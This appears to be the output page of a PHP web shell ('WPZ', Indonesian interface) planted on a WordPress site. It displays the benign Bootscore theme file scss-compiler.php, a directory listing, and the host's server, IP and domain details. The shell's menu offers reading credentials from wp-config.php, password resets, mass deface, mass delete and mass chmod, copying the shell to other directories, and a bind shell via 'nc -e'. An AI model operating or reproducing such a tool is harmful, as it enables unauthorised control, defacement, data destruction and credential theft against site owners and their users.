WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / themes / bootscore / inc / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc/scss-compiler.php (7.26 KB)
<?php

/**
 * Class with functions to compile SCSS files.
 *
 * @package Bootscore
 * @version 6.3.1
 */


// Exit if accessed directly
defined('ABSPATH') || exit;

require_once "scssphp/scss.inc.php";

use ScssPhp\ScssPhp\Compiler;

class BootscoreScssCompiler {
  private $compiler;
  private bool $should_compile = false;
  private string $scss_file;
  private string $css_file;
  private string $theme_directory;
  private bool $skip_environment_check = false;
  private array $file_mtime_check = [];
  private int $files_mtime;
  private bool $is_environment_dev;
  private string $file_id;

  public function __construct() {
    $this->compiler               = new Compiler();
    $this->theme_directory        = ($this->shouldProcessChild()) ? get_stylesheet_directory() : get_template_directory();
    $this->skip_environment_check = apply_filters('bootscore/scss/skip_environment_check', (defined('BOOTSCORE_SCSS_SKIP_ENVIRONMENT_CHECK') && BOOTSCORE_SCSS_SKIP_ENVIRONMENT_CHECK));
    $this->is_environment_dev     = in_array(wp_get_environment_type(), array('development', 'local'), true);
  }

  public function scssFile(string $scss_file, $auto_set_css_file = true) {
    $this->scss_file = $scss_file;

    if ($auto_set_css_file) {
      $this->css_file = str_replace('scss', 'css', $scss_file);
    }

    return $this;
  }

  public function cssFile(string $css_file) {
    $this->css_file = $css_file;

    return $this;
  }

  public function getScssFile() {
    return $this->theme_directory . $this->scss_file;
  }

  public function getCssFile() {
    return $this->theme_directory . $this->css_file;
  }

  public function addImportPath(string $import_path) {
    $this->compiler->addImportPath($import_path);

    return $this;
  }

  public function addModifiedCheck($file, $prefix_theme_directory = true) {
    $this->file_mtime_check[] = ($prefix_theme_directory) ? $this->theme_directory . $file : $file;

    return $this;
  }

  public function addModifiedSelf() {
    $this->addModifiedCheck($this->scss_file);

    return $this;
  }

  public function addModifiedCheckDir($dir, $prefix_theme_directory = true) {
    $dir   = ($prefix_theme_directory) ? $this->theme_directory . $dir : $dir;
    $files = glob($dir . '/*');
    foreach ($files as $file) {
      // check if file is a scss file
      if (pathinfo($file, PATHINFO_EXTENSION) !== 'scss') {
        continue;
      }
      $this->addModifiedCheck($file, false);
    }

    return $this;
  }

  public function addModifiedCheckTheme() {
    $this->addModifiedCheckDir('/assets/scss');

    return $this;
  }

  public function skipEnvironmentCheck($skip = true) {
    $this->skip_environment_check = $skip;

    return $this;
  }

  private function generateId($input, $length = 8) {
    return substr(md5($input), 0, $length);
  }

  private function shouldProcessChild() {
    return is_child_theme() && bootscore_child_has_scss();
  }

  private function addImportPaths() {
    $this->compiler->setImportPaths(dirname($this->theme_directory . $this->scss_file));

    if ($this->shouldProcessChild()) {
      $this->compiler->addImportPath(get_template_directory() . '/assets/scss/');
    }
  }

  private function setOutputStyle() {
    if ($this->is_environment_dev) {
      $source_map_url = site_url('', 'relative') . '/' . ltrim(str_replace(ABSPATH, '', $this->getCssFile()), '/');
      $source_map_url .= '.map';

      $this->compiler->setSourceMap(Compiler::SOURCE_MAP_FILE);
      $this->compiler->setSourceMapOptions([
        'sourceMapURL'      => $source_map_url,
        'sourceMapBasepath' => rtrim(str_replace('\\', '/', ABSPATH), '/'),
        'sourceRoot'        => site_url('', 'relative') . '/',
      ]);
      $this->compiler->setOutputStyle(\ScssPhp\ScssPhp\OutputStyle::EXPANDED);
    } else {
      $this->compiler->setOutputStyle(\ScssPhp\ScssPhp\OutputStyle::COMPRESSED);
    }
  }

  private function getModifiedTime() {
    $this->files_mtime = 0;
    foreach ($this->file_mtime_check as $file) {
      $this->files_mtime = max($this->files_mtime, filemtime($file));
    }
  }

  private function processModifiedCheck() {
    $this->getModifiedTime();

    $stored_modified = get_theme_mod('bootscore_scss_modified_timestamp_' . $this->file_id, 0);

    if ($this->files_mtime > $stored_modified) {
      $this->should_compile = true;
    }
  }

  private function extraChecks() {
    if ($this->is_environment_dev && !$this->skip_environment_check) {
      $this->should_compile = true;
    }

    if (!file_exists($this->getCssFile())) {
      $this->should_compile = true;
    }

    if (apply_filters('bootscore/scss/disable_compiler', (defined('BOOTSCORE_SCSS_DISABLE_COMPILER') && BOOTSCORE_SCSS_DISABLE_COMPILER))) {
      $this->should_compile = false;
    }
  }

  public function compile() {
    if (apply_filters('bootscore/scss/disable_compiler', (defined('BOOTSCORE_SCSS_DISABLE_COMPILER') && BOOTSCORE_SCSS_DISABLE_COMPILER))) {
        return;
    }
    $this->addImportPaths();
    $this->setOutputStyle();
    $this->file_id = $this->generateId($this->scss_file);
    $this->addModifiedSelf();
    if (!empty($this->file_mtime_check)) {
      $this->processModifiedCheck();
    }
    $this->extraChecks();

    if (!$this->should_compile) {
      return;
    }

    $this->compiler = apply_filters('bootscore/scss/compiler', $this->compiler);

    try {
      $compiled = $this->compiler->compileString(file_get_contents($this->getScssFile()));

      if (!file_exists(dirname($this->getCssFile()))) {
        mkdir(dirname($this->getCssFile()), 0755, true);
      }

      file_put_contents($this->getCssFile(), $compiled->getCss());
      if ($this->is_environment_dev) {
        file_put_contents($this->getCssFile() . '.map', $compiled->getSourceMap());
      }

      if (!empty($this->file_mtime_check)) {
        set_theme_mod('bootscore_scss_modified_timestamp_' . $this->file_id, $this->files_mtime);
      }
    } catch (Exception $e) {
      if ($this->is_environment_dev) {
        wp_die('<b>Bootscore SCSS Compiler - Caught exception:</b><br><br> ' . $e->getMessage());
      } else {
        wp_die('Something went wrong with the SCSS compiler.');
      }
    }
  }
}


/**
 * Check if the child theme has scss files included.
 *
 * @return boolean True when child theme has scss files.
 */
function bootscore_child_has_scss() {
  return file_exists(get_stylesheet_directory() . '/assets/scss/main.scss');
}

function bootscore_compile_scss() {
  // Compile the main.scss file
  $scss_compiler_main = new BootscoreScssCompiler();
  $scss_compiler_main->scssFile('/assets/scss/main.scss')
                     ->cssFile('/assets/css/main.css')
                     ->addModifiedCheckTheme()
                     ->addModifiedCheck(get_template_directory() . '/assets/scss/bootstrap/bootstrap.scss', false)
                     ->compile();

  // Compile the editor.scss file
  $scss_compiler_editor = new BootscoreScssCompiler();
  $scss_compiler_editor->scssFile('/assets/scss/editor.scss')
                       ->cssFile('/assets/css/editor.css')
                       ->addModifiedSelf()
                       ->addModifiedCheck(get_template_directory() . '/assets/scss/bootstrap/bootstrap.scss', false)
                       ->addModifiedCheck('/assets/scss/_bootscore-variables.scss')
                       ->skipEnvironmentCheck()
                       ->compile();
}
namawaktuukuranownerpermaksi
..
blocks/ 2026-11-26 08:1919.5 KB 76129f60960:kundendxwrx-rx-r
scssphp/ 2026-11-26 08:19549.31 KB 76129f60960:kundendxwrx-rx-r
update/ 2026-11-26 08:19380.49 KB 76129f60960:kundendxwrx-rx-r
updater/ 2026-11-26 08:1925.44 KB 76129f60960:kundendxwrx-rx-r
breadcrumb.php 2026-11-26 08:196.2 KB 76129f60960:kunden-xw-x--x--
edt
columns.php 2026-11-26 08:19703 B 76129f60960:kunden-xw-x--x--
edt
comments.php 2026-11-26 08:195.27 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-11-26 08:19132 B 76129f60960:kunden-xw-x--x--
edt
enable-html.php 2026-11-26 08:19642 B 76129f60960:kunden-xw-x--x--
edt
enqueue.php 2026-11-26 08:193.59 KB 76129f60960:kunden-xw-x--x--
edt
excerpt.php 2026-11-26 08:19200 B 76129f60960:kunden-xw-x--x--
edt
fontawesome.php 2026-11-26 08:191.02 KB 76129f60960:kunden-xw-x--x--
edt
jetpack.php 2026-11-26 08:191.47 KB 76129f60960:kunden-xw-x--x--
edt
navmenu.php 2026-11-26 08:19681 B 76129f60960:kunden-xw-x--x--
edt
navwalker.php 2026-11-26 08:196.97 KB 76129f60960:kunden-xw-x--x--
edt
pagination.php 2026-11-26 08:193.01 KB 76129f60960:kunden-xw-x--x--
edt
password-protected-form.php 2026-11-26 08:19864 B 76129f60960:kunden-xw-x--x--
edt
scss-compiler.php 2026-11-26 08:197.26 KB 76129f60960:kunden-xw-x--x--
edt
template-functions.php 2026-11-26 08:191005 B 76129f60960:kunden-xw-x--x--
edt
template-tags.php 2026-11-26 08:198.87 KB 76129f60960:kunden-xw-x--x--
edt
theme-setup.php 2026-11-26 08:192.71 KB 76129f60960:kunden-xw-x--x--
edt
tinymce-editor.php 2026-11-26 08:19841 B 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-11-26 08:195.97 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK